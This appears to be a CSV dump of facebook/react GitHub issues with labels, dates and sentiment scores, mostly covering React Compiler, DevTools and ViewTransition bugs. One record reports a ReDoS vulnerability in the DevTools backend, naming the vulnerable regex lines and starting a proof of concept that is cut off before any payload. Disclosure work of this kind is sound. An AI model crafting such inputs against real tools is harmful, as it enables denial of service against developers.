The rule incorrectly marks `props` how to ref instead of `props.buttonRef'?","Status: Unconfirmed,Resolution: Stale",2026-01-20 19:40:02+00:00,2026-06-08 07:50:32+00:00,4,"Status: Unconfirmed,Resolution: Stale",138.5073,the eslint react hooks refs rule marks the entire object with the ref property as a ref object eslint plugin react hooks version the current behavior the rule warns in both props and the errors in the rules are not expected this can be easily fixed as follows simple logic tells me that the destructuring of variables should be equivalent to the direct use of prop in terms of rule errors the rule incorrectly marks how to ref instead of props buttonref,bug,-0.4215
facebook/react,3834233393,Bug: Support the new `<geolocation>` element,"I tried using the [new `<geolocation>` element in Chrome](https://developer.chrome.com/blog/geolocation-html-element), but React didn't recognize the props.

This element is [only available in Chrome so far, and only in Chrome 144+](https://chromestatus.com/feature/5125006551416832#consensus). Not sure what the policy is for adding new elements to React, but thought I'd log this.

React version: `19.2.3`

## Steps To Reproduce

1. Use **Chrome 144 or higher**
2. Try to view a React component with the `<geolocation>` html element, like this:
```jsx
function Location() {
  const handleLocation = (e) => {
    console.log(e);
  };

  return (
    <geolocation
      onLocation={handleLocation}
      autoLocate={false}
      accuracyMode=""precise""
    ></geolocation>
  );
}
```

Link to code example:

https://stackblitz.com/edit/react-geolocation-repro?file=src%2FApp.jsx

## The current behavior

The component renders, but with console errors:

```
Unknown event handler property `onLocation`. It will be ignored.
```

```
React does not recognize the `autoLocate` prop on a DOM element. If you intentionally want it to appear in the DOM as a custom attribute, spell it as lowercase `autolocate` instead. If you accidentally passed it from a parent component, remove it from the DOM element.
```

```
React does not recognize the `accuracyMode` prop on a DOM element. If you intentionally want it to appear in the DOM as a custom attribute, spell it as lowercase `accuracymode` instead. If yo... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2026-01-20 15:28:36+00:00,2026-04-27 20:27:47+00:00,3,"Status: Unconfirmed,Resolution: Stale",97.2078,support the new element i tried using the new element in chrome but react didn t recognize the props this element is only available in chrome so far and only in chrome not sure what the policy is for adding new elements to react but thought i d log this react version use chrome or higher try to view a react component with the html element like this link to code example the current behavior the component renders but with console errors react does not recognize the prop on a dom element if you intentionally want it to appear in the dom as a custom attribute spell it as lowercase instead if yo truncated,bug,0.1172
facebook/react,3832623831,[Compiler Bug]: React Compiler throws hard errors for valid JS inside callbacks (non-render paths),"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAcimBACOAbASwQDsAXNAbgB1iaCBbABwhlOwCpsBDMbAJQRc4bAGYwI9bGhiDhlGjQQAPZq2wATBCK5Q8oqMWEEIxbAEFGjABQBKbMBrZcJsGwDaCGOJgAabFlIAUS8WAF1sAF5+WVIAOkwEAGVSLlIEAB5XGAJiAHNsAB9sYl08AD4rErw8G2paU2diV2wACy5idTwEAGFCOABrSO4wAE9DbFtIsvtHJ2xSGBGZhrnG5pkwXTYorgB3LgJRLn6EAQBHKARXWzrZ1YB6e+xAGXJooTZuiUYCLph5lvEu14LU8CDuc0e2CoIAAKhB1BBkNhElBLCw2AA3Lh4S7YABGeAgA14VjgJnUh2MxGxfkJuQIcBp2AgjFIVOxuDaORyuT8CFIcBs4KckN2hxaOW480W90ZApa-hSaXoJFI0OF2AIIgmGy2AH5Yp5vHYHCtVv5+cFvFZdXpDSEYLEVWAwFxcghahqnDJSLBiHVzdgAL4KM1OAJWliVUqes1B3CpOAKqwe5aBiMOqxoRISfkSvLYXaqwviPJoWOrEMNIO3Bo+v0TcHpCkYxUjLoRYDAbCMLjqCl5JEAJgADMGg2UNek8VBSKQTMziL0Gf1O20Ol1lwMJ1v+ul7jO5yZJ2H7EaWNgAGSX7DpRhlYDnmBB-f3qurfctk9OWNVmg8MY4GwEQDCMBdtBOc5LmuGwkQABXEegCCwdJZiKbt1FSLgkSyHlgzQ+xsCfJFu2dV13RwhY8PjKtplNb1+QbbtiMIsi3QQJE0AAMQOLp1DQYNgzqKsQB8EAyWIEQCFyFAQAYVQ2FIEZGBwbs4JxeliAAeVZKleHjMQJCkPEuDxBA8AAWkYDScgsmR3gsskmB+Tx7gpVx5HqKx6OwR4nO+PBUipABZeEOKhEBsTwdViHjV02TAKSrmwdSoE0nS2RcWpRPAFoIF2ABJMhPGpPAwBQbQyoQIMgA

### Repro steps

I was implementing a normal login flow in a client c... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2026-01-20 08:25:05+00:00,2026-01-20 18:01:53+00:00,2,"Type: Bug,Status: Unconfirmed",0.4006,compiler bug react compiler throws hard errors for valid js inside callbacks non render paths what kind of issue is this react compiler core the js output is incorrect or your app works incorrectly after optimization x babel plugin react compiler build issue installing or using the babel plugin eslint plugin react hooks build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps i was implementing a normal login flow in a client c truncated,bug,-0.6486
facebook/react,3832252117,[Compiler Bug]: React Compiler conditionally memoize a function depending on the order of statements before it,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgDMoA7OXASwhPyjAQDEFc4ALBGAZVxwQAp6uSiQDmYfAF58wAL4BKaQB0a+ONTAFgRZmw4AafADpjhHey7NhY-DMn5BVsAG5ly-KvUEEJAG4UY1AC23rhMLOZ2dIxmHHxyLiRu+DDMsDTEZHym4fraORZCFKJgBt5+ASTBJKExMPHKMiB6IGokhBQiKCAUgdh4+LgAnpgI0vgACgA2UCJFAPKYlOo2RAGB+ADkAEYAhlsIkwC0mNOzJIcpO+SHar0UkxwA9AAmFBobCcp8wEmPj7eYe47JYkACyEGeCGQ+EUIB2k0msIa9mBb3aCHEUxm80WVBIYHiTXArAgAHcAJLVDgkeFgFCEWkIGRAA

### Repro steps

1. See the playground link, where the func call at line 6 isn't memoized.
2. Swap line 2 and line 4, and see that func call becomes memoized now.

Why does the different order of statements before the func call affect whether the func call is memoized? I'm expecting the func call to be memoized in both cases.

### How often does this bug happen?

Every time

### What version of React are you using?

Both 19.2.3, and whatever the playground is using

### What version of React Compiler are you using?

Both babel-plugin-react-compiler@1.0.0, and whatever the playground is using","Type: Bug,Status: Unconfirmed",2026-01-20 06:28:11+00:00,2026-02-12 16:53:44+00:00,2,"Type: Bug,Status: Unconfirmed",23.4344,compiler bug react compiler conditionally memoize a function depending on the order of statements before it what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react hooks build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps see the playground link where the func call at line isn t memoized swap line and line and see that func call becomes memoized now why does the different order of statements before the func call affect whether the func call is memoized i m expecting the func call to be memoized in both cases how often does this bug happen every time what version of react are you using both and whatever the playground is using what version of react compiler are you using both babel plugin react compiler and whatever the playground is using,bug,-0.5267
facebook/react,3830288882,[Compiler Bug]: Value returned from `useEffectEvent` is mistakenly treated as a dependency,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBUYCAogGaUJx4A0JZVNd5AbggHYNMIDKeAIZ4EBAL4FKMCBgIByGAiF15AbgA6XTDnxECAFQQAPQpOmyFSlXgC0XEWk7qtWnbkLEAwrIBGaLgQAEwBxGCEsAAsARQAZchgZGDBGPABPLDEEpNi0AGsxcxk5eQABCIgAG0qIAHo4SrRuPBdtbA8CQLwASS5KCClihVLrOntHTls4WQwobXTaroD+1q10zIJs3AARESECAF4iLQICBETcZE2LmFyCzS5TpRo8OEirgAoASkOAPgIAArFNBkAA8czyXAgAHcuL8HuIHloTLpCNMuGBCKQEAA5BB4aG4PIAJWUbyEvkqFGotEIRw+cCE1V8Kjynx+B3+7AgaCCHP+wBOfBYtI+QtO3z+4tOnXxvX6ADohEEghxmrlMdxzh8PsQQb1RDAuqSVJEKVSJPzjo8Zba0JQCB99TxzsayWbKWIDt6CHgYFAED9BTbbbbGczWd8HqGZeJpadxF96NKANrhyosuB5AC6yZtXwRSMCxlRBHRmII0QDMDSW2SQIg7F550OjqtwdO5cIKfOSRSBDIeDrYGzrexghECFBdd2whT2d+H3nBdcNtqtQICq3q87EAxhDNXCCVLxBKJJvJnrHzBpbE4PB17el-Rgjq7+l7uEYz3xbwkBAgB1P2SIN4wIe1HQAQh8DB-ECUJwiiOJhwVEEPmAr5QJDUNuV5Agf1eSIozAuNsNIhMVxtbFT0JGASXdc1qVYPBHz+a1bUPY9cXxWj6NNRjiJtRMiyefFYEeUEjFMX4AAkEGqAZaMqIJQVqKS8HhLRES0EB6BAdFKDQABzFB0HaPR1jEYgAUqKAjICAB5LA8DQPcwH-CwShZXx5NsLBbPsrhbFGOxpmwNAqRgWoghBFoi11IV1zCrAIscPcAFkICCBArg0EAmUqPKtIHRwwEMhB3JsuzHOc1yMQLXTwEiGEDVdJkwBQSh2oQcQgA

### Repro steps

See the repro link above.... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2026-01-19 15:49:12+00:00,2026-01-19 17:08:44+00:00,1,"Type: Bug,Status: Unconfirmed",0.0552,compiler bug value returned from is mistakenly treated as a dependency what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react hooks build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps see the repro link above truncated,bug,-0.0516
facebook/react,3827264385,[Compiler Bug]: allow `'use no memo'` inside callbacks,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAcimBACOAbASwQDsAXNAbgB1iaCBbABwhlO2GwEE8FWBhAvB4BJOBGIAabABkIAQwAmvAEzYAvtgBmMCPWxo8UOASUBaGAjlxy1Yg2at22TAgBK0UrykuAypfgAFgAKcjBy9GDqWjp6aMQIAB6kAPTEcgBuBADmcqQE4pR0TCxsHD6YjCRY3lg+pLk4Gtq6+hZWNkUOpdgA4hAQWTx8EHgsouJRzbEAAslixfFkYMkEYsTLWf2DCIV2xY4cwsQA1ggIjOPEkzH6s-PMi6TLq+LPJ2eMu-YlTty8pFI-qwACIIMBwGAERh5CZNG5oO66B4kJ7JKAEZJyHisL77boAISgpFIsOiLQRcyR4hRy3RyQARkSScRcV0nHxQgopByYAphmQUdzOaDwZDoflJNgeQoABKWJQwIW8gAqBFIPGu5MRCxpaIxcE5rJ+h2IjCJmpmlJ1Sz1K1NRKNBxkcnpCDwFtuVuRNrpeBdbsd3RcnCJAT4hBRHopa08SWWclDpnwRDIgacLiCEDApBlAyjiIFceSzGzAQGaY4LlcUDIDAQ-M02XzlMLqJgNby9AQSfEjayFewWQQpB8ck0bmHsGIAFUYHgpAQwAA1LEmVyTmAzufNwj0tF5PDxxMWBSCBDWXY0TQ16wSmQDAjEABiLHoAAoAJTsGjYXCvNg6ESvDYAAvM4WDuEBMCfrYv5rNm2BYKEcDBKE4SRGBvj+ChIRhBEME-n+6xsI+mT1DCxDCAooGIdhqF4WAAB0Q6kG+aCkWquQSmgH6wURCEWKQU6zu6YFIYEuHocxw5sYJwlzjxfHwWwCakGGEZkDRwahuGKasbxhHKU4QTTvi0jCHwAD6nDTsqMoAAyWcCADyACynDCAAclIJlmRZlk9M5zk9NIACill8OZoWecqlnCMCUSYRBHZ1g22QEVc-FsCWal5klCCZtmuZZBlhHJMkvTDtgak4Okq4KA01FyZu2DTq40haCw2A5aYoxZI+2Anme1jYG+LjUZoXUIPQcgEO6fWPh+hn-oOw7rqeFj... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2026-01-18 20:08:04+00:00,2026-02-04 03:27:14+00:00,2,"Type: Bug,Status: Unconfirmed",16.305,compiler bug allow inside callbacks what kind of issue is this react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react hooks build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro truncated,bug,0.128
facebook/react,3826449863,Bug: [StrictMode] `getSnapshot` is not called after subscribing to external store when used in Suspense,"in `useSyncExternalStore`, subscribe is called as a passive effect, so it's possible the store value has changed between render and effect. As a solution, I can see react calls `getSnapshot` right after subscribing to store, to check if value is stale.

However, when using `Suspense` in `StrictMode`, `getSnapshot` is not called after subscribing to store

React version: 19.2.3

## Steps To Reproduce
Consider below code ([codesandbox](https://codesandbox.io/p/sandbox/s4qq8t))
```tsx
const subscribe = (onStoreChange: () => void) => {
  console.log(""subscribe called"");
  return () => {
    console.log(""unsubscribe called"");
  };
};
const getSnapshost = () => {
  console.log(""getSnapshot called"");
  return 1;
};

const Content = ({ promise }: { promise: Promise<any> }) => {
  React.use(promise);
  const value = React.useSyncExternalStore(subscribe, getSnapshost);
  console.log(""rendered with value"", value);
  return <div>Value {value}</div>;
};

export default function App() {
  const [, reRender] = React.useReducer((state: number) => state + 1, 0);
  const promise = React.useRef(Promise.resolve());
  return (
    <div>
      <button
        onClick={() => {
          console.log(""button clicked"");
          promise.current = new Promise<void>((resolve) => {
            setTimeout(() => {
              resolve();
            }, 500);
          });
          reRender();
        }}
      >
        Trigger Suspense
      </button>

      <Suspense fallback={<p>Loading...</p>}>
     ... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2026-01-18 07:14:29+00:00,2026-04-27 07:53:11+00:00,3,"Status: Unconfirmed,Resolution: Stale",99.0269,strictmode is not called after subscribing to external store when used in suspense in subscribe is called as a passive effect so it s possible the store value has changed between render and effect as a solution i can see react calls right after subscribing to store to check if value is stale however when using in is not called after subscribing to store react version consider below code codesandbox tsx const subscribe onstorechange void console log subscribe called return console log unsubscribe called const getsnapshost console log getsnapshot called return const content promise promise promise react use promise const value react usesyncexternalstore subscribe getsnapshost console log rendered with value value return value value export default function app const rerender react usereducer state number state const promise react useref promise resolve return button onclick console log button clicked promise current new promise resolve settimeout resolve rerender trigger suspense loading truncated,bug,0.9899
facebook/react,3825372407,[Compiler Bug]:,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

bbxbdx

### Repro steps

swwerwe

### How often does this bug happen?

Every time

### What version of React are you using?

rtah

### What version of React Compiler are you using?

trh","Type: Bug,Status: Unconfirmed",2026-01-17 15:10:48+00:00,2026-02-04 01:45:24+00:00,1,"Type: Bug,Status: Unconfirmed",17.4407,compiler bug what kind of issue is this react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react hooks build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro bbxbdx repro steps swwerwe how often does this bug happen every time what version of react are you using rtah what version of react compiler are you using trh,bug,-0.5267
facebook/react,3823801106,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-01-16 21:55:13+00:00,2026-01-17 02:15:34+00:00,0,Status: Unconfirmed,0.1808,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3820519636,[Compiler Bug]: npm run dev and npm run build produce different results,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://github.com/hnamekawa/movie-app

### Repro steps

1. Clone the repo

2. Run `npm run dev`

The app works fine without any errors

3. Run `npm run build`

The React compiler reports the errors shown below, and the app fails to load

Description
`src/types/Todo.ts` defines a `Todo` interface, and `src/App.tsx` imports and uses that interface.
It seems that TypeScript interfaces are not being handled correctly during the build process.

When `src/App.tsx` is transpiled, it makes sense that an error occurs because the Todo interface does not exist at runtime.
However, `npm run dev` does not show any error, while `npm run build` does.

This inconsistency between dev and build is the issue I want to report.


`npm run build` error log detail

```
src/App.tsx:2:1 - error TS6133: 'TodoItem' is declared but its value is never read.

2 import { TodoItem }  from ""./types/Todo"";
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

src/App.tsx:9:38 - error TS2304: Cannot find name 'Todo'.

9   const [todos, setTodos] = useState<Todo[]>([]);
                                       ~... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2026-01-16 05:57:23+00:00,2026-01-17 04:00:28+00:00,3,"Type: Bug,Status: Unconfirmed",0.9188,compiler bug npm run dev and npm run build produce different results what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react hooks build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps clone the repo run the app works fine without any errors run the react compiler reports the errors shown below and the app fails to load description defines a interface and imports and uses that interface it seems that typescript interfaces are not being handled correctly during the build process when is transpiled it makes sense that an error occurs because the todo interface does not exist at runtime however does not show any error while does this inconsistency between dev and build is the issue i want to report error log detail src app tsx error ts todoitem is declared but its value is never read import todoitem from types todo src app tsx error ts cannot find name todo const todos settodos usestate truncated,bug,-0.7517
facebook/react,3807945076,"It cannot load normally and keeps showing ""Loading React Element Tree...""","<img width=""675"" height=""504"" alt=""Image"" src=""https://github.com/user-attachments/assets/78c24013-7f9a-4ae1-a579-e354c1043b9a"" />

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",Resolution: Stale,2026-01-13 09:22:22+00:00,2026-05-09 09:34:27+00:00,4,Resolution: Stale,116.0084,it cannot load normally and keeps showing loading react element tree mozilla windows nt win x applewebkit khtml like gecko chrome safari,others,0.743
facebook/react,3805676167,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-01-12 19:25:43+00:00,2026-01-12 20:52:52+00:00,0,Status: Unconfirmed,0.0605,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3804421244,Bug: Inefficient Regular Expression Complexity in react,"### Summary
A Regular Expression Denial of Service (ReDoS) vulnerability was identified in Facebook React within the react-devtools-shared package. The issue exists in the backend/utils.js component, specifically within the regular expressions used for parsing at lines 368, 369, 381, and 417. By providing a specially crafted input string to the DevTools backend, an attacker or a malicious website being inspected can trigger catastrophic backtracking. This leads to excessive CPU consumption and causes the browser tab or the DevTools process to become unresponsive, resulting in a Denial of Service (DoS).

### Details
https://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L368
https://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L369
https://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L381
https://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L417


### PoC
PoC for `line 368`:
```js
/**
 * ReDoS PoC for regexId: 6 (Validated and Optimized)
 *
 * Target Regex: /\)+$/
 * Dataflow Path: componentStack -> split('\n') -> trim() -> replace(/^\(+/) -> SINK: replace(/\)+$/)
 * Path Constraints: Must pass Chrome stack format check
 * Data Transformations: split('\n'), trim(), rep... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2026-01-12 13:52:26+00:00,2026-05-05 16:36:35+00:00,11,"Status: Unconfirmed,Resolution: Stale",113.114,inefficient regular expression complexity in react summary a regular expression denial of service redos vulnerability was identified in facebook react within the react devtools shared package the issue exists in the backend utils js component specifically within the regular expressions used for parsing at lines and by providing a specially crafted input string to the devtools backend an attacker or a malicious website being inspected can trigger catastrophic backtracking this leads to excessive cpu consumption and causes the browser tab or the devtools process to become unresponsive resulting in a denial of service dos details poc poc for js redos poc for regexid validated and optimized target regex dataflow path componentstack split n trim replace sink replace path constraints must pass chrome stack format check data transformations split n trim rep truncated,bug,-0.3612
facebook/react,3802388753,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-01-12 00:43:35+00:00,2026-02-04 01:44:43+00:00,0,Status: Unconfirmed,23.0425,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3785234967,Bug: ViewTransition is not working in rtl,"That looks strange 

https://github.com/vercel/next.js/issues/87773

I see transitions in animate debug panel, but visually is nothing happens","Status: Unconfirmed,Resolution: Stale",2026-01-06 13:56:08+00:00,2026-04-13 14:37:49+00:00,4,"Status: Unconfirmed,Resolution: Stale",97.0289,viewtransition is not working in rtl that looks strange i see transitions in animate debug panel but visually is nothing happens,bug,-0.1027
facebook/react,3784399376,[DevTools Bug]:,"### Website or app

http://localhost:3000/en/p2p/purchaseOrders/purchase-order

### Repro steps

http://localhost:3000/en/p2p/purchaseOrders/purchase-order

### How often does this bug happen?

Every time

### DevTools package (automated)

_No response_

### DevTools version (automated)

_No response_

### Error message (automated)

_No response_

### Error call stack (automated)

```text

```

### Error component stack (automated)

```text

```

### GitHub query string (automated)

```text

```","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2026-01-06 09:22:17+00:00,2026-01-07 00:21:54+00:00,0,"Type: Bug,Status: Unconfirmed,Component: Developer Tools",0.6247,devtools bug website or app repro steps how often does this bug happen every time devtools package automated no response devtools version automated no response error message automated no response error call stack automated error component stack automated github query string automated,bug,-0.9618
facebook/react,3781970267,Bug: ViewTransition can't be isolated,"React version:
    ""react"": ""19.2.3"",
    ""react-dom"": ""19.2.3"",

## Steps To Reproduce

I have a Dialog wrapped with ViewTransition. Inside the dialog I’m using the Streamdown library.

Streamdown updates its blocks using startTransition. As a result, view transitions keep triggering while Streamdown is streaming.

It seems like there’s no way to isolate part of the tree so that startTransition inside the dialog doesn’t trigger transitions outside of it.

I can’t disable ViewTransition on the dialog during streaming, because the dialog needs the close animation.

I think view transitions must be executed somehow explicitly and not via startTransition itself.
Or I need a way like 
```
<Isolate>
  ...startTransitions here would not cause view transitions to start
</Isolate>
```

PS: `addTransitionType`
And 
```
::view-transition-group(*) {
  animation-duration: 0ms;
  animation: none;
}
...
:root:active-view-transition-type(video-grid-dialog) {
...
}
```
doesn't help, chrome flickers anyway","Status: Unconfirmed,Resolution: Stale",2026-01-05 15:49:12+00:00,2026-04-12 17:13:27+00:00,2,"Status: Unconfirmed,Resolution: Stale",97.0585,viewtransition can t be isolated react version react react dom i have a dialog wrapped with viewtransition inside the dialog i m using the streamdown library streamdown updates its blocks using starttransition as a result view transitions keep triggering while streamdown is streaming it seems like there s no way to isolate part of the tree so that starttransition inside the dialog doesn t trigger transitions outside of it i can t disable viewtransition on the dialog during streaming because the dialog needs the close animation i think view transitions must be executed somehow explicitly and not via starttransition itself or i need a way like ps and doesn t help chrome flickers anyway,bug,0.128
facebook/react,3774760444,Leave me alone,"https://github.com/facebook/react/pull/35409

There are junior developers: @josephsavona, @ryancavanaugh, @facebook, @microsoft, @tiktok harassing me. 

@josephsavona renamed my pull request to Spam? Delete the pull request. ",Status: Unconfirmed,2026-01-01 14:41:07+00:00,2026-01-02 17:59:38+00:00,0,Status: Unconfirmed,1.1379,leave me alone there are junior developers josephsavona ryancavanaugh facebook microsoft tiktok harassing me josephsavona renamed my pull request to spam delete the pull request,others,-0.802
facebook/react,3773359743,Bug:,"Title: Consider built-in routing support in React core

React is an amazing library and has become the backbone of modern web applications.

One common requirement in almost every React web app is routing. Currently, developers must rely on third-party libraries such as react-router-dom. While these libraries are excellent, routing is such a fundamental need that it might be worth considering some level of built-in routing support in React itself.

Having an official, minimal router maintained alongside React could:
	•	Reduce dependency on third-party packages
	•	Improve beginner experience
	•	Ensure tighter integration with React features and future updates

Thank you for building such an awesome ecosystem and for continuously improving React.
",Status: Unconfirmed,2025-12-31 18:46:12+00:00,2026-01-01 03:06:32+00:00,1,Status: Unconfirmed,0.3475,title consider built in routing support in react core react is an amazing library and has become the backbone of modern web applications one common requirement in almost every react web app is routing currently developers must rely on third party libraries such as react router dom while these libraries are excellent routing is such a fundamental need that it might be worth considering some level of built in routing support in react itself having an official minimal router maintained alongside react could reduce dependency on third party packages improve beginner experience ensure tighter integration with react features and future updates thank you for building such an awesome ecosystem and for continuously improving react,bug,0.9862
facebook/react,3767060756,react-reconciler: flushSync was renamed to flushSyncFromReconciler without deprecation notice,"In react-reconciler, the `flushSync` export was renamed to `flushSyncFromReconciler` in PR #28500 (merged April 8, 2024). This is an undocumented breaking change for custom renderers.

**Commit:** https://github.com/facebook/react/pull/28500

According to that PR, custom renderers should now use:
- `reconciler.updateContainerSync()` - to update synchronously
- `reconciler.flushSyncWork()` - to flush pending sync work

However, this migration path is not documented anywhere for custom renderer authors. The change silently causes `flushSync` to be `undefined` with no warning.

**0.29.x API:**
```js
const reconciler = ReactReconciler(hostConfig)
const { flushSync } = reconciler  // works

// Usage
flushSync(() => {
  reconciler.updateContainer(element, container, null, callback)
})
```

**0.31.0+ API:**
```js
const reconciler = ReactReconciler(hostConfig)
const { flushSync } = reconciler  // undefined!

// New intended usage (undocumented):
reconciler.updateContainerSync(element, container, null, callback)
reconciler.flushSyncWork()
```

Could we please:
1. Document the new API for custom renderers in the react-reconciler README
2. Or add a deprecation warning when accessing the old `flushSync` property

This affects custom renderers like @opentui/react that were following the previous patterns.",Resolution: Stale,2025-12-29 10:39:57+00:00,2026-04-30 09:45:27+00:00,5,Resolution: Stale,121.9622,react reconciler flushsync was renamed to flushsyncfromreconciler without deprecation notice in react reconciler the export was renamed to in pr merged april this is an undocumented breaking change for custom renderers commit according to that pr custom renderers should now use to update synchronously to flush pending sync work however this migration path is not documented anywhere for custom renderer authors the change silently causes to be with no warning x api api could we please document the new api for custom renderers in the react reconciler readme or add a deprecation warning when accessing the old property this affects custom renderers like opentui react that were following the previous patterns,others,0.0
facebook/react,3751135479,Bug: resolveLazy catching promises causes race condition with short-lived Suspense-wrapped components,"## Steps To Reproduce

